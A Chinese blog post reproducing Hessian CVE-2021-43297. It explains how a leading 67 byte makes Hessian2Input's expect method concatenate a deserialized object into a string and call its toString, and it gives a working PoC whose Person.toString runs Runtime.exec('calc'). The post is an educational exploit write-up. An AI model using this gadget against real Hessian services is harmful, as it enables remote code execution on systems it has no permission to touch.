【Web】浅聊Hessian异常toString姿势学习复现

2024-03-20 15:04

本文主要是介绍【Web】浅聊Hessian异常toString姿势学习复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

利用关键

调用分析

如何控制第一个字节

EXP


前言

Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也!

这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。

利用关键

Hessian2Input 中的 expect 方法用于检查下一个输入字节是否符合期望的标记,并将当前位置移动到下一个字节。它的函数签名如下:

protected IOException expect(String expect, int ch)

参数解释:

  • expect 表示期望的内容,ch 表示当前读取到的字符

expect 方法的作用是检查下一个输入字节是否等于给定的 expect 值,如果相等,则向前移动输入流的位置;如果不相等,则抛出 IOException 异常或者其他相关异常。

该方法通常在 Hessian 反序列化过程中使用,用于检查预期的数据标记,以确保数据的有效性和完整性。

现在具体来看expect方法怎么写的

 protected IOException expect(String expect, int ch) throws IOException {if (ch < 0) {return this.error("expected " + expect + " at end of file");} else {--this._offset;try {int offset = this._offset;String context = this.buildDebugContext(this._buffer, 0, this._length, offset);Object obj = this.readObject();return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");} catch (Exception var6) {log.log(Level.FINE, var6.toString(), var6);return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));}}}

先 readObject 得到 obj, 然后直接将 obj 与字符串拼接, 从而触发 obj 的 toString 方法,目的达成

调用分析

从设计的角度,除 readObject 以外的其它 readXX 方法大都会调用 expect

这些 readXX 方法通常用于读取特定类型的数据或执行特定的读取操作,如:

  1. readInt 方法:用于读取整数数据。
  2. readString 方法:用于读取字符串数据。
  3. readFloat 方法:用于读取浮点数数据。
  4. readChar 方法:用于读取单个字符数据。
  5. readLine 方法:用于读取一行文本数据。

这里师傅们用的是readString来触发expect,俺也来致敬经典😄

public String readString() throws IOException {int tag = this.read();int ch;switch (tag) {case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:case 8:case 9:case 10:case 11:case 12:case 13:case 14:case 15:case 16:case 17:case 18:case 19:case 20:case 21:case 22:case 23:case 24:case 25:case 26:case 27:case 28:case 29:case 30:case 31:this._isLastChunk = true;this._chunkLength = tag - 0;this._sbuf.setLength(0);while((ch = this.parseChar()) >= 0) {this._sbuf.append((char)ch);}return this._sbuf.toString();case 32:case 33:case 34:case 35:case 36:case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:case 47:case 52:case 53:case 54:case 55:case 64:case 65:case 66:case 67:case 69:case 71:case 72:case 74:case 75:case 77:case 79:case 80:case 81:case 85:case 86:case 87:case 88:case 90:case 96:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:case 123:case 124:case 125:case 126:case 127:default:throw this.expect("string", tag);......}}

 现在问题就是怎么完成下列调用

readObject->readString->expect

Hessian反序列化时,会根据输入流来判断类型,首先读取输入流的一个字节,根据这个标记字节(tag)来决定反序列化的类型,而这第一个字节是我们可控的(暂时不讲怎么操作)

当tag为67时,会调用readObjectDefinition

跟进,接着调用readString

最后进到default->expect

 

 

hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 原byte 数组的前面再拼一个 67 就行了

因为写入的 object 本来就不是 String 类型的,所以readString 里面读的第二个 tag 其实也不用考虑,最后肯定会进到default

如何控制第一个字节

System.arraycopy 是一个 Java 中用于复制数组元素的方法

public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length)

参数解释如下:

  • src:源数组,即要复制数据的原始数组。
  • srcPos:源数组的起始位置,从该位置开始复制数据。
  • dest:目标数组,即将数据复制到的目标数组。
  • destPos:目标数组的起始位置,从该位置开始粘贴数据。
  • length:要复制的元素数量,即要复制的数据长度。

EXP

先导pom依赖

<dependencies><dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency></dependencies>

EXP.java

package org.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;public class EXP {public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static void main(String[] args) throws Exception {Person person = new Person();person.setName("Hessian异常toString成功捏o(=•ェ•=)m");byte[] data = Hessian2_Serial(person);byte[] poc = new byte[data.length + 1];System.arraycopy(new byte[]{67}, 0, poc, 0, 1);System.arraycopy(data, 0, poc, 1, data.length);Hessian2_Deserial(poc);}
}

Person.java

package org.Hessian;import java.io.IOException;
import java.io.Serializable;public class Person implements Serializable {String name;public void setName(String name) {this.name = name;}@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return this.name;}
}

成功弹出计算器

 

这篇关于【Web】浅聊Hessian异常toString姿势学习复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/829844

相关文章

Go异常处理、泛型和文件操作实例代码

《Go异常处理、泛型和文件操作实例代码》Go语言的异常处理机制与传统的面向对象语言(如Java、C#)所使用的try-catch结构有所不同,它采用了自己独特的设计理念和方法,:本文主要介绍Go异... 目录一:异常处理常见的异常处理向上抛中断程序恢复程序二:泛型泛型函数泛型结构体泛型切片泛型 map三:文

JavaWeb项目创建、部署、连接数据库保姆级教程(tomcat)

《JavaWeb项目创建、部署、连接数据库保姆级教程(tomcat)》:本文主要介绍如何在IntelliJIDEA2020.1中创建和部署一个JavaWeb项目,包括创建项目、配置Tomcat服务... 目录简介:一、创建项目二、tomcat部署1、将tomcat解压在一个自己找得到路径2、在idea中添加

maven异常Invalid bound statement(not found)的问题解决

《maven异常Invalidboundstatement(notfound)的问题解决》本文详细介绍了Maven项目中常见的Invalidboundstatement异常及其解决方案,文中通过... 目录Maven异常:Invalid bound statement (not found) 详解问题描述可

JavaWeb 中的 Filter组件详解

《JavaWeb中的Filter组件详解》本文详细介绍了JavaWeb中的Filter组件,包括其基本概念、工作原理、核心接口和类、配置方式以及常见应用示例,Filter可以实现请求预处理、响应后... 目录JavaWeb 中的 Filter 详解1. Filter 基本概念1.1 什么是 Filter1.

Java Exception异常类的继承体系详解

《JavaException异常类的继承体系详解》Java中的异常处理机制分为异常(Exception)和错误(Error)两大类,异常分为编译时异常(CheckedException)和运行时异常... 目录1. 异常类的继承体系2. Error错误3. Exception异常3.1 编译时异常: Che

Python异常处理之避免try-except滥用的3个核心原则

《Python异常处理之避免try-except滥用的3个核心原则》在Python开发中,异常处理是保证程序健壮性的关键机制,本文结合真实案例与Python核心机制,提炼出避免异常滥用的三大原则,有需... 目录一、精准打击:只捕获可预见的异常类型1.1 通用异常捕获的陷阱1.2 精准捕获的实践方案1.3

Python函数的基本用法、返回值特性、全局变量修改及异常处理技巧

《Python函数的基本用法、返回值特性、全局变量修改及异常处理技巧》本文将通过实际代码示例,深入讲解Python函数的基本用法、返回值特性、全局变量修改以及异常处理技巧,感兴趣的朋友跟随小编一起看看... 目录一、python函数定义与调用1.1 基本函数定义1.2 函数调用二、函数返回值详解2.1 有返

java.sql.SQLTransientConnectionException连接超时异常原因及解决方案

《java.sql.SQLTransientConnectionException连接超时异常原因及解决方案》:本文主要介绍java.sql.SQLTransientConnectionExcep... 目录一、引言二、异常信息分析三、可能的原因3.1 连接池配置不合理3.2 数据库负载过高3.3 连接泄漏

Python中 try / except / else / finally 异常处理方法详解

《Python中try/except/else/finally异常处理方法详解》:本文主要介绍Python中try/except/else/finally异常处理方法的相关资料,涵... 目录1. 基本结构2. 各部分的作用tryexceptelsefinally3. 执行流程总结4. 常见用法(1)多个e

Debian 13升级后网络转发等功能异常怎么办? 并非错误而是管理机制变更

《Debian13升级后网络转发等功能异常怎么办?并非错误而是管理机制变更》很多朋友反馈,更新到Debian13后网络转发等功能异常,这并非BUG而是Debian13Trixie调整... 日前 Debian 13 Trixie 发布后已经有众多网友升级到新版本,只不过升级后发现某些功能存在异常,例如网络转